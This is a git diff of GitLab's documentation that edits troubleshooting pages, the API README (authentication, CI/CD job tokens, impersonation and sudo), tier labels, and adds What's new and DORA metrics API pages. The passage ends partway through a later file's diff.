a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.png b/doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.png Binary files differdeleted file mode 100644 index 431141dd3ef..00000000000 --- a/doc/administration/troubleshooting/img/ADFS-determine-token-signing-fingerprint-from-shell.png +++ /dev/null diff --git a/doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.png b/doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.png Binary files differdeleted file mode 100644 index a837f1b19cc..00000000000 --- a/doc/administration/troubleshooting/img/ADFS-saml-setup-sso-url.png +++ /dev/null diff --git a/doc/administration/auth/img/okta_admin_panel_v13_9.png b/doc/administration/troubleshooting/img/okta_admin_panel_v13_9.png Binary files differindex 2ebb1f0112c..2ebb1f0112c 100644 --- a/doc/administration/auth/img/okta_admin_panel_v13_9.png +++ b/doc/administration/troubleshooting/img/okta_admin_panel_v13_9.png diff --git a/doc/administration/auth/img/okta_saml_settings.png b/doc/administration/troubleshooting/img/okta_saml_settings.png Binary files differindex ee275ece369..ee275ece369 100644 --- a/doc/administration/auth/img/okta_saml_settings.png +++ b/doc/administration/troubleshooting/img/okta_saml_settings.png diff --git a/doc/administration/troubleshooting/index.md b/doc/administration/troubleshooting/index.md index 63b056df8b7..1c205cc987a 100644 --- a/doc/administration/troubleshooting/index.md +++ b/doc/administration/troubleshooting/index.md @@ -6,11 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Troubleshooting a GitLab installation -Below are some resources to help you troubleshoot a GitLab installation -in case something goes wrong: +This page documents a collection of resources to help you troubleshoot a GitLab +installation. -- [Debugging tips](debug.md) -- [Diagnostics tools](diagnostics_tools.md) +## Troubleshooting guides + +- [SSL](ssl.md) +- [Geo](../geo/replication/troubleshooting.md) - [Elasticsearch](elasticsearch.md) - [GitLab Rails console cheat sheet](gitlab_rails_cheat_sheet.md) - [Group SAML and SCIM troubleshooting](group_saml_scim.md) **(PREMIUM SAAS)** @@ -18,9 +20,9 @@ in case something goes wrong: - [Linux cheat sheet](linux_cheat_sheet.md) - [Parsing GitLab logs with `jq`](log_parsing.md) - [Navigating GitLab via Rails console](navigating_gitlab_via_rails_console.md) -- [PostgreSQL](postgresql.md) -- [Sidekiq](sidekiq.md) -- [SSL](ssl.md) +- [Diagnostics tools](diagnostics_tools.md) +- [Debugging tips](debug.md) +- [Tracing requests with correlation ID](tracing_correlation_id.md) If you need a testing environment to troubleshoot, see the [apps for a testing environment](test_environments.md). diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md index 4ccae10e5b3..9565b7594d6 100644 --- a/doc/administration/troubleshooting/postgresql.md +++ b/doc/administration/troubleshooting/postgresql.md @@ -35,7 +35,7 @@ This section is for links to information elsewhere in the GitLab documentation. - Storing data in another location. - Destructively reseeding the GitLab database. - Guidance around updating packaged PostgreSQL, including how to stop it - happening automatically. + from happening automatically. - [Information about external PostgreSQL](../postgresql/external.md). @@ -87,11 +87,11 @@ This section is for links to information elsewhere in the GitLab documentation. ```plaintext ERROR: replication slots can only be used if max_replication_slots > 0 - FATAL: could not start WAL streaming: ERROR: replication slot “geo_secondary_my_domain_com” does not exist + FATAL: could not start WAL streaming: ERROR: replication slot "geo_secondary_my_domain_com" does not exist Command exceeded allowed execution time - PANIC: could not write to file ‘pg_xlog/xlogtemp.123’: No space left on device + PANIC: could not write to file 'pg_xlog/xlogtemp.123': No space left on device ``` - [Checking Geo configuration](../geo/replication/troubleshooting.md), including: diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md index 147bf1123ad..8d19a8a163b 100644 --- a/doc/administration/troubleshooting/sidekiq.md +++ b/doc/administration/troubleshooting/sidekiq.md @@ -347,7 +347,7 @@ Gitlab::SidekiqDaemon::Monitor.cancel_job('job-id') > environment variable. To perform of the interrupt we use `Thread.raise` which -has number of drawbacks, as mentioned in [Why Ruby’s Timeout is dangerous (and Thread.raise is terrifying)](https://jvns.ca/blog/2015/11/27/why-rubys-timeout-is-dangerous-and-thread-dot-raise-is-terrifying/): +has number of drawbacks, as mentioned in [Why Ruby's Timeout is dangerous (and Thread.raise is terrifying)](https://jvns.ca/blog/2015/11/27/why-rubys-timeout-is-dangerous-and-thread-dot-raise-is-terrifying/): > This is where the implications get interesting, and terrifying. This means that an exception can get raised: > @@ -357,4 +357,4 @@ has number of drawbacks, as mentioned in [Why Ruby’s Timeout is dangerous (and > - while creating an object to save to the database afterwards > - in any of your code, regardless of whether it could have possibly raised an exception before > -> Nobody writes code to defend against an exception being raised on literally any line. That’s not even possible. So Thread.raise is basically like a sneak attack on your code that could result in almost anything. It would probably be okay if it were pure-functional code that did not modify any state. But this is Ruby, so that’s unlikely :) +> Nobody writes code to defend against an exception being raised on literally any line. That's not even possible. So Thread.raise is basically like a sneak attack on your code that could result in almost anything. It would probably be okay if it were pure-functional code that did not modify any state. But this is Ruby, so that's unlikely :) diff --git a/doc/administration/whats-new.md b/doc/administration/whats-new.md new file mode 100644 index 00000000000..4cbb0b854ae --- /dev/null +++ b/doc/administration/whats-new.md @@ -0,0 +1,29 @@ +--- +stage: Growth +group: Adoption +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# What's new **(FREE)** + +With each monthly release, GitLab includes some of the highlights from the last 10 +GitLab versions in the **What's new** feature. To access it: + +1. In the top navigation bar, select the **{question}** icon. +1. Select **What's new** from the menu. + +The **What's new** describes new features available in multiple +[GitLab tiers](https://about.gitlab.com/pricing). While all users can see the +feature list, the feature list is tailored to your subscription type: + +- Features only available to self-managed installations are not shown on GitLab.com. +- Features only available on GitLab.com are not shown to self-managed installations. + +The **What's new** feature cannot be disabled, but +[is planned](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59011) for a future release. + +## Self-managed installations + +Due to our release post process, the content for **What's new** is not yet finalized +when a new version (`.0` release) is cut. The updated **What's new** is included +in the first patch release, such as `13.10.1`. diff --git a/doc/administration/wikis/index.md b/doc/administration/wikis/index.md index 57bbe913216..bf6ff457ad3 100644 --- a/doc/administration/wikis/index.md +++ b/doc/administration/wikis/index.md @@ -73,3 +73,9 @@ You can also use the API to [retrieve the current value](../../api/settings.md#g ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings" ``` + +## Related topics + +- [User documentation for wikis](../../user/project/wiki/index.md) +- [Project wikis API](../../api/wikis.md) +- [Group wikis API](../../api/group_wikis.md) diff --git a/doc/api/README.md b/doc/api/README.md index 35eeb5ae99b..1a914fb1dbe 100644 --- a/doc/api/README.md +++ b/doc/api/README.md @@ -6,14 +6,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w # API Docs -Automate GitLab by using a simple and powerful API. +Use the GitLab [REST](http://spec.openapis.org/oas/v3.0.3) API to automate GitLab. -The main GitLab API is a [REST](http://spec.openapis.org/oas/v3.0.3) -API. Because of this, the documentation in this section assumes that you're -familiar with REST concepts. - -There's also a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml), -which allows you to test the API directly from the GitLab user interface. +You can also use a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml), +to test the API directly from the GitLab user interface. Contributions are welcome. ## Available API resources @@ -31,52 +27,54 @@ GitLab provides an [SCIM API](scim.md) that both implements [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644) and provides the `/Users` endpoint. The base URL is `/api/scim/v2/groups/:group_path/Users/`. -## Road to GraphQL - -[GraphQL](graphql/index.md) is available in GitLab, which allows for the -deprecation of controller-specific endpoints. +## GraphQL API -GraphQL has several benefits, including: +A [GraphQL](graphql/index.md) API is available in GitLab. -- We avoid having to maintain two different APIs. -- Callers of the API can request only what they need. -- It's versioned by default. +With GraphQL, you can make an API request for only what you need, +and it's versioned by default. GraphQL co-exists with the current v4 REST API. If we have a v5 API, this should be a compatibility layer on top of GraphQL. -Although there were some patenting and licensing concerns with GraphQL, these -have been resolved to our satisfaction by the relicensing of the reference -implementations under MIT, and the use of the OWF license for the GraphQL -specification. +There were some patenting and licensing concerns with GraphQL. However, these +have been resolved to our satisfaction. The reference implementations +were re-licensed under MIT, and the OWF license used for the GraphQL specification. + +When GraphQL is fully implemented, GitLab: + +- Can delete controller-specific endpoints. +- Will no longer maintain two different APIs. ## Compatibility guidelines -The HTTP API is versioned using a single number, (currently _4_). This number +The HTTP API is versioned with a single number, which is currently `4`. This number symbolizes the major version number, as described by [SemVer](https://semver.org/). -Because of this, backwards-incompatible changes require this version number to -change. However, the minor version isn't explicit, allowing for a stable API -endpoint. This also means that new features can be added to the API in the same +Because of this, backward-incompatible changes require this version number to +change. + +The minor version isn't explicit, which allows for a stable API +endpoint. New features can be added to the API in the same version number. -New features and bug fixes are released in tandem with a new GitLab, and apart -from incidental patch and security releases, are released on the 22nd of each -month. Backward incompatible changes (for example, endpoints removal and -parameters removal), and removal of entire API versions are done in tandem with -a major point release of GitLab itself. All deprecations and changes between two -versions should be listed in the documentation. For the changes between v3 and -v4, see the [v3 to v4 documentation](v3_to_v4.md). +New features and bug fixes are released in tandem with GitLab. Apart +from incidental patch and security releases, GitLab is released on the 22nd of each +month. Backward-incompatible changes (for example, endpoint and parameter removal), +and removal of entire API versions are done in tandem with major GitLab releases. + +All deprecations and changes between versions are in the documentation. +For the changes between v3 and v4, see the [v3 to v4 documentation](v3_to_v4.md). ### Current status Only API version v4 is available. Version v3 was removed in [GitLab 11.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36819). -## Basic usage +## How to use the API -API requests should be prefixed with both `api` and the API version. The API +API requests must include both `api` and the API version. The API version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/api/api.rb). -For example, the root of the v4 API is at `/api/v4`. The following sections illustrate different uses: +For example, the root of the v4 API is at `/api/v4`. ### Valid API request @@ -87,7 +85,7 @@ curl "https://gitlab.example.com/api/v4/projects" ``` The API uses JSON to serialize data. You don't need to specify `.json` at the -end of an API URL. +end of the API URL. ### API request to expose HTTP response headers @@ -99,7 +97,7 @@ HTTP/2 200 ... ``` -This can help you investigate an unexpected response. +This request can help you investigate an unexpected response. ### API request that includes the exit code @@ -110,34 +108,34 @@ curl --fail "https://gitlab.example.com/api/v4/does-not-exist" curl: (22) The requested URL returned error: 404 ``` -The HTTP exit code can help you diagnose the success or failure of your REST call. +The HTTP exit code can help you diagnose the success or failure of your REST request. ## Authentication Most API requests require authentication, or only return public data when -authentication isn't provided. For cases where it isn't required, this is -mentioned in the documentation for each individual endpoint (for example, the -[`/projects/:id` endpoint](projects.md#get-single-project)). +authentication isn't provided. When authentication is not required, the documentation +for each endpoint specifies this. For example, the +[`/projects/:id` endpoint](projects.md#get-single-project) does not require authentication. -There are several methods you can use to authenticate with the GitLab API: +There are several ways you can authenticate with the GitLab API: - [OAuth2 tokens](#oauth2-tokens) - [Personal access tokens](../user/profile/personal_access_tokens.md) - [Project access tokens](../user/project/settings/project_access_tokens.md) - [Session cookie](#session-cookie) -- [GitLab CI/CD job token](#gitlab-ci-job-token) **(Specific endpoints only)** +- [GitLab CI/CD job token](#gitlab-cicd-job-token) **(Specific endpoints only)** NOTE: Project access tokens are supported for self-managed instances on Free and higher. They're also supported on GitLab.com Bronze and higher. -For administrators who want to authenticate with the API as a specific user, or who want -to build applications or scripts that do so, the following options are available: +If you are an administrator, you or your application can authenticate as a specific user. +To do so, use: - [Impersonation tokens](#impersonation-tokens) - [Sudo](#sudo) -If authentication information is invalid or omitted, GitLab returns an error +If authentication information is not valid or is missing, GitLab returns an error message with a status code of `401`: ```json @@ -195,37 +193,65 @@ API uses this cookie for authentication if it's present. Using the API to generate a new session cookie isn't supported. The primary user of this authentication method is the web frontend of GitLab -itself, which can, for example, use the API as the authenticated user to get a -list of their projects without needing to explicitly pass an access token. +itself. The web frontend can use the API as the authenticated user to get a +list of projects without explicitly passing an access token. -### GitLab CI job token +### GitLab CI/CD job token -With a few API endpoints you can use a [GitLab CI/CD job token](../user/project/new_ci_build_permissions_model.md#job-token) -to authenticate with the API: +When a pipeline job is about to run, GitLab generates a unique token and injects it as the +[`CI_JOB_TOKEN` predefined variable](../ci/variables/predefined_variables.md). + +You can use a GitLab CI/CD job token to authenticate with specific API endpoints: - Packages: - - [Package Registry](../user/packages/package_registry/index.md) + - [Package Registry](../user/packages/package_registry/index.md). To push to the + Package Registry, you can use [deploy tokens](../user/project/deploy_tokens/index.md). - [Container Registry](../user/packages/container_registry/index.md) - (`$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`) -- [Get job artifacts](job_artifacts.md#get-job-artifacts) -- [Get job token's job](jobs.md#get-job-tokens-job) -- [Pipeline triggers](pipeline_triggers.md) (using the `token=` parameter) -- [Release creation](releases/index.md#create-a-release) -- [Terraform plan](../user/infrastructure/index.md) + (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`). +- [Get job artifacts](job_artifacts.md#get-job-artifacts). +- [Get job token's job](jobs.md#get-job-tokens-job). +- [Pipeline triggers](pipeline_triggers.md), using the `token=` parameter. +- [Release creation](releases/index.md#create-a-release). +- [Terraform plan](../user/infrastructure/index.md). + +The token has the same permissions to access the API as the user that triggers the +pipeline. Therefore, this user must be assigned to [a role that has the required privileges](../user/permissions.md). -The token is valid as long as the job is running. +The token is valid only while the pipeline job runs. After the job finishes, you can't +use the token anymore. + +A job token can access a project's resources without any configuration, but it might +give extra permissions that aren't necessary. There is [a proposal](https://gitlab.com/groups/gitlab-org/-/epics/3559) +to redesign the feature for more strategic control of the access permissions. + +#### GitLab CI/CD job token security + +To make sure that this token doesn't leak, GitLab: + +- Masks the job token in job logs. +- Grants permissions to the job token only when the job is running. + +To make sure that this token doesn't leak, you should also configure +your [runners](../ci/runners/README.md) to be secure. Avoid: + +- Using Docker's `privileged` mode if the machines are re-used. +- Using the [`shell` executor](https://docs.gitlab.com/runner/executors/shell.html) when jobs + run on the same machine. + +If you have an insecure GitLab Runner configuration, you increase the risk that someone +tries to steal tokens from other jobs. ### Impersonation tokens -Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md) -that can be created only by an administrator for a specific user. They can be -useful if you want to build applications or scripts that authenticate with the +Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md). +They can be created only by an administrator, and are used to authenticate with the API as a specific user. -They're an alternative to directly using the user's password (or one of their -personal access tokens), and to using the [Sudo](#sudo) feature, as the user's -(or administrator's in the case of Sudo) password or token may not be known, or may -change over time. +Use impersonation tokens an alternative to: + +- The user's password or one of their personal access tokens. +- The [Sudo](#sudo) feature. The user's or administrator's password or token + may not be known, or may change over time. For more information, see the [users API](users.md#create-an-impersonation-token) documentation. @@ -270,7 +296,7 @@ To re-enable impersonation, remove this configuration, and then restart GitLab. ### Sudo -All API requests support performing an API call as if you were another user, +All API requests support performing an API request as if you were another user, provided you're authenticated as an administrator with an OAuth or personal access token that has the `sudo` scope. The API requests are executed with the permissions of the impersonated user. @@ -309,7 +335,7 @@ returned with a status code of `404`: } ``` -Example of a valid API call and a request using cURL with sudo request, +Example of a valid API request and a request using cURL with sudo request, providing a username: ```plaintext @@ -320,7 +346,7 @@ GET /projects?private_token=<your_access_token>&sudo=username curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects" ``` -Example of a valid API call and a request using cURL with sudo request, +Example of a valid API request and a request using cURL with sudo request, providing an ID: ```plaintext @@ -334,7 +360,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https:// ## Status codes The API is designed to return different status codes according to context and -action. This way, if a request results in an error, the caller is able to get +action. This way, if a request results in an error, you can get insight into what went wrong. The following table gives an overview of how the API functions generally behave. @@ -515,7 +541,7 @@ The `:id` path parameter needs to be replaced with the project ID, and the `:group_id` needs to be replaced with the ID of the group. The colons `:` shouldn't be included. -The resulting cURL call for a project with ID `5` and a group ID of `17` is then: +The resulting cURL request for a project with ID `5` and a group ID of `17` is then: ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17" @@ -528,7 +554,7 @@ the URL-encoded path parameters. ## Namespaced path encoding -If using namespaced API calls, make sure that the `NAMESPACE/PROJECT_PATH` is +If using namespaced API requests, make sure that the `NAMESPACE/PROJECT_PATH` is URL-encoded. For example, `/` is represented by `%2F`: @@ -578,7 +604,7 @@ using a payload body instead. ## Encoding API parameters of `array` and `hash` types -We can call the API with `array` and `hash` types parameters as follows: +You can request the API with `array` and `hash` types parameters: ### `array` @@ -636,8 +662,8 @@ usually used instead of `id` to fetch the resource. For example, suppose a project with `id: 42` has an issue with `id: 46` and `iid: 5`. In this case: -- A valid API call to retrieve the issue is `GET /projects/42/issues/5`. -- An invalid API call to retrieve the issue is `GET /projects/42/issues/46`. +- A valid API request to retrieve the issue is `GET /projects/42/issues/5`. +- An invalid API request to retrieve the issue is `GET /projects/42/issues/46`. Not all resources with the `iid` field are fetched by `iid`. For guidance regarding which field to use, see the documentation for the specific resource. @@ -734,7 +760,7 @@ The correct encoding for the query parameter would be: ## Clients There are many unofficial GitLab API Clients for most of the popular programming -languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/#api-clients). +languages. For a complete list, visit the [GitLab website](https://about.gitlab.com/partners/technology-partners/#api-clients). ## Rate limits diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md index b14d28d6ec0..b0d03ebad74 100644 --- a/doc/api/api_resources.md +++ b/doc/api/api_resources.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# API resources +# API resources **(FREE)** Available resources for the [GitLab API](README.md) can be grouped in the following contexts: @@ -45,13 +45,13 @@ The following API resources are available in the project context: | [Issues](issues.md) | `/projects/:id/issues` (also available for groups and standalone) | | [Issues Statistics](issues_statistics.md) | `/projects/:id/issues_statistics` (also available for groups and standalone) | | [Issue boards](boards.md) | `/projects/:id/boards` | -| [Issue links](issue_links.md) **(STARTER)** | `/projects/:id/issues/.../links` | -| [Iterations](iterations.md) **(STARTER)** | `/projects/:id/iterations` (also available for groups) | +| [Issue links](issue_links.md). | `/projects/:id/issues/.../links` | +| [Iterations](iterations.md) **(PREMIUM)** | `/projects/:id/iterations` (also available for groups) | | [Jobs](jobs.md) | `/projects/:id/jobs`, `/projects/:id/pipelines/.../jobs` | | [Labels](labels.md) | `/projects/:id/labels` | | [Managed licenses](managed_licenses.md) **(ULTIMATE)** | `/projects/:id/managed_licenses` | | [Members](members.md) | `/projects/:id/members` (also available for groups) | -| [Merge request approvals](merge_request_approvals.md) **(STARTER)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` | +| [Merge request approvals](merge_request_approvals.md) **(PREMIUM)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` | | [Merge requests](merge_requests.md) | `/projects/:id/merge_requests` (also available for groups and standalone) | | [Merge trains](merge_trains.md) | `/projects/:id/merge_trains` | | [Notes](notes.md) (comments) | `/projects/:id/issues/.../notes`, `/projects/:id/snippets/.../notes`, `/projects/:id/merge_requests/.../notes` (also available for groups) | @@ -84,7 +84,7 @@ The following API resources are available in the project context: | [Services](services.md) | `/projects/:id/services` | | [Tags](tags.md) | `/projects/:id/repository/tags` | | [User-starred metrics dashboards](metrics_user_starred_dashboards.md ) | `/projects/:id/metrics/user_starred_dashboards` | -| [Visual Review discussions](visual_review_discussions.md) **(STARTER)** | `/projects/:id/merge_requests/:merge_request_id/visual_review_discussions` | +| [Visual Review discussions](visual_review_discussions.md) **(PREMIUM)** | `/projects/:id/merge_requests/:merge_request_id/visual_review_discussions` | | [Vulnerabilities](vulnerabilities.md) **(ULTIMATE)** | `/vulnerabilities/:id` | | [Vulnerability exports](vulnerability_exports.md) **(ULTIMATE)** | `/projects/:id/vulnerability_exports` | | [Project vulnerabilities](project_vulnerabilities.md) **(ULTIMATE)** | `/projects/:id/vulnerabilities` | @@ -106,7 +106,7 @@ The following API resources are available in the group context: | [Groups](groups.md) | `/groups`, `/groups/.../subgroups` | | [Group badges](group_badges.md) | `/groups/:id/badges` | | [Group issue boards](group_boards.md) | `/groups/:id/boards` | -| [Group iterations](group_iterations.md) **(STARTER)** | `/groups/:id/iterations` (also available for projects) | +| [Group iterations](group_iterations.md) **(PREMIUM)** | `/groups/:id/iterations` (also available for projects) | | [Group labels](group_labels.md) | `/groups/:id/labels` | | [Group-level variables](group_level_variables.md) | `/groups/:id/variables` | | [Group milestones](group_milestones.md) | `/groups/:id/milestones` | @@ -140,7 +140,7 @@ The following API resources are available outside of project and group contexts | [Events](events.md) | `/events`, `/users/:id/events` (also available for projects) | | [Feature flags](features.md) | `/features` | | [Geo Nodes](geo_nodes.md) **(PREMIUM SELF)** | `/geo_nodes` | -| [Group Activity Analytics](group_activity_analytics.md) **(STARTER)** | `/analytics/group_activity/{issues_count | merge_requests_count | new_members_count }` | +| [Group Activity Analytics](group_activity_analytics.md) | `/analytics/group_activity/{issues_count | merge_requests_count | new_members_count }` | | [Group repository storage moves](group_repository_storage_moves.md) **(PREMIUM SELF)** | `/group_repository_storage_moves` | | [Import repository from GitHub](import.md) | `/import/github` | | [Instance clusters](instance_clusters.md) | `/admin/clusters` | @@ -167,7 +167,8 @@ The following API resources are available outside of project and group contexts | [Sidekiq metrics](sidekiq_metrics.md) **(FREE SELF)** | `/sidekiq` | | [Suggestions](suggestions.md) | `/suggestions` | | [System hooks](system_hooks.md) | `/hooks` | -| [To-dos](todos.md) | `/todos` | +| [To-dos](todos.md) | `/todos` | +| [Usage data](usage_data.md) | `/usage_data` (For GitLab instance [Administrator](../user/permissions.md) users only) | | [Users](users.md) | `/users` | | [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` | | [Version](version.md) | `/version` | diff --git a/doc/api/applications.md b/doc/api/applications.md index 19a80685b6f..b3741a3cb30 100644 --- a/doc/api/applications.md +++ b/doc/api/applications.md @@ -8,11 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8160) in GitLab 10.5. -Applications API operates on OAuth applications for: +The Applications API operates on instance-wide OAuth applications for: - [Using GitLab as an authentication provider](../integration/oauth_provider.md). - [Allowing access to GitLab resources on a user's behalf](oauth2.md). +The Applications API cannot be used to manage group applications or applications of individual users. + NOTE: Only administrator users can use the Applications API. diff --git a/doc/api/boards.md b/doc/api/boards.md index 021e4103228..3252036c840 100644 --- a/doc/api/boards.md +++ b/doc/api/boards.md @@ -215,7 +215,7 @@ Example response: ## Update an issue board -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5954) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.1. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5954) in GitLab 11.1. Updates a project issue board. @@ -228,10 +228,10 @@ PUT /projects/:id/boards/:board_id | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | | `board_id` | integer | yes | The ID of a board | | `name` | string | no | The new name of the board | -| `assignee_id` **(STARTER)** | integer | no | The assignee the board should be scoped to | -| `milestone_id` **(STARTER)** | integer | no | The milestone the board should be scoped to | -| `labels` **(STARTER)** | string | no | Comma-separated list of label names which the board should be scoped to | -| `weight` **(STARTER)** | integer | no | The weight range from 0 to 9, to which the board should be scoped to | +| `assignee_id` **(PREMIUM)** | integer | no | The assignee the board should be scoped to | +| `milestone_id` **(PREMIUM)** | integer | no | The milestone the board should be scoped to | +| `labels` **(PREMIUM)** | string | no | Comma-separated list of label names which the board should be scoped to | +| `weight` **(PREMIUM)** | integer | no | The weight range from 0 to 9, to which the board should be scoped to | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/boards/1?name=new_name&milestone_id=43&assignee_id=1&labels=Doing&weight=4" diff --git a/doc/api/discussions.md b/doc/api/discussions.md index 6d0c5afa35d..828370c3386 100644 --- a/doc/api/discussions.md +++ b/doc/api/discussions.md @@ -860,8 +860,8 @@ Parameters for all comments: | `position[line_range]` | hash | no | Line range for a multi-line diff note | | `position[width]` | integer | no | Width of the image (for `image` diff notes) | | `position[height]` | integer | no | Height of the image (for `image` diff notes) | -| `position[x]` | integer | no | X coordinate (for `image` diff notes) | -| `position[y]` | integer | no | Y coordinate (for `image` diff notes) | +| `position[x]` | float | no | X coordinate (for `image` diff notes) | +| `position[y]` | float | no | Y coordinate (for `image` diff notes) | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/discussions?body=comment" diff --git a/doc/api/dora/metrics.md b/doc/api/dora/metrics.md new file mode 100644 index 00000000000..31e6fee66ca --- /dev/null +++ b/doc/api/dora/metrics.md @@ -0,0 +1,101 @@ +--- +stage: Release +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, api +--- + +# DevOps Research and Assessment (DORA) key metrics API **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10. + +All methods require [reporter permissions and above](../../user/permissions.md). + +## Get project-level DORA metrics + +Get project-level DORA metrics. + +```plaintext +GET /projects/:id/dora/metrics +``` + +| Attribute | Type | Required | Description | +|-------------- |-------- |----------|----------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding) can be accessed by the authenticated user. | +| `metric` | string | yes | The [metric name](../../user/analytics/ci_cd_analytics.md#supported-metrics-in-gitlab). One of `deployment_frequency` or `lead_time_for_changes`. | +| `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. | +| `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. | +| `interval` | string | no | The bucketing interval. One of `all`, `monthly` or `daily`. Default is `daily`. | +| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/dora/metrics?metric=deployment_frequency" +``` + +Example response: + +```json +[ + { "2021-03-01": 3, "date": "2021-03-01", "value": 3 }, + { "2021-03-02": 6, "date": "2021-03-02", "value": 6 }, + { "2021-03-03": 0, "date": "2021-03-03", "value": 0 }, + { "2021-03-04": 0, "date": "2021-03-04", "value": 0 }, + { "2021-03-05": 0, "date": "2021-03-05", "value": 0 }, + { "2021-03-06": 0, "date": "2021-03-06", "value": 0 }, + { "2021-03-07": 0, "date": "2021-03-07", "value": 0 }, + { "2021-03-08": 4, "date": "2021-03-08", "value": 4 } +] +``` + +## Get group-level DORA metrics + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10. + +Get group-level DORA metrics. + +```plaintext +GET /groups/:id/dora/metrics +``` + +| Attribute | Type | Required | Description | +|-------------- |-------- |----------|----------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding) can be accessed by the authenticated user. | +| `metric` | string | yes | The [metric name](../../user/analytics/ci_cd_analytics.md#supported-metrics-in-gitlab). One of `deployment_frequency` or `lead_time_for_changes`. | +| `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. | +| `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. | +| `interval` | string | no | The bucketing interval. One of `all`, `monthly` or `daily`. Default is `daily`. | +| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. | + +Example request: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/dora/metrics?metric=deployment_frequency" +``` + +Example response: + +```json +[ + { "2021-03-01": 3, "date": "2021-03-01", "value": 3 }, + { "2021-03-02": 6, "date": "2021-03-02", "value": 6 }, + { "2021-03-03": 0, "date": "2021-03-03", "value": 0 }, + { "2021-03-04": 0, "date": "2021-03-04", "value": 0 }, + { "2021-03-05": 0, "date": "2021-03-05", "value": 0 }, + { "2021-03-06": 0, "date": "2021-03-06", "value": 0 }, + { "2021-03-07": 0, "date": "2021-03-07", "value": 0 }, + { "2021-03-08": 4, "date": "2021-03-08", "value": 4 } +] +``` + +## The `value` field + +For both the project and group-level endpoints above, the `value` field in the +API response has a different meaning depending on the provided `metric` query +parameter: + +| `metric` query parameter | Description of `value` in response | +| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `deployment_frequency` | The number of successful deployments during the time period. | +| `lead_time_for_changes` | The median number of seconds between the merge of the merge request (MR) and the deployment of the MR's commits for all MRs deployed during the time period. | diff --git a/doc/api/dora4_group_analytics.md b/doc/api/dora4_group_analytics.md index 7504d18a5de..8935fa1e121 100644 --- a/doc/api/dora4_group_analytics.md +++ b/doc/api/dora4_group_analytics.md @@ -8,10 +8,13 @@ type: reference, api # DORA4 Analytics Group API **(ULTIMATE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/291747) in GitLab 13.9. -> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab 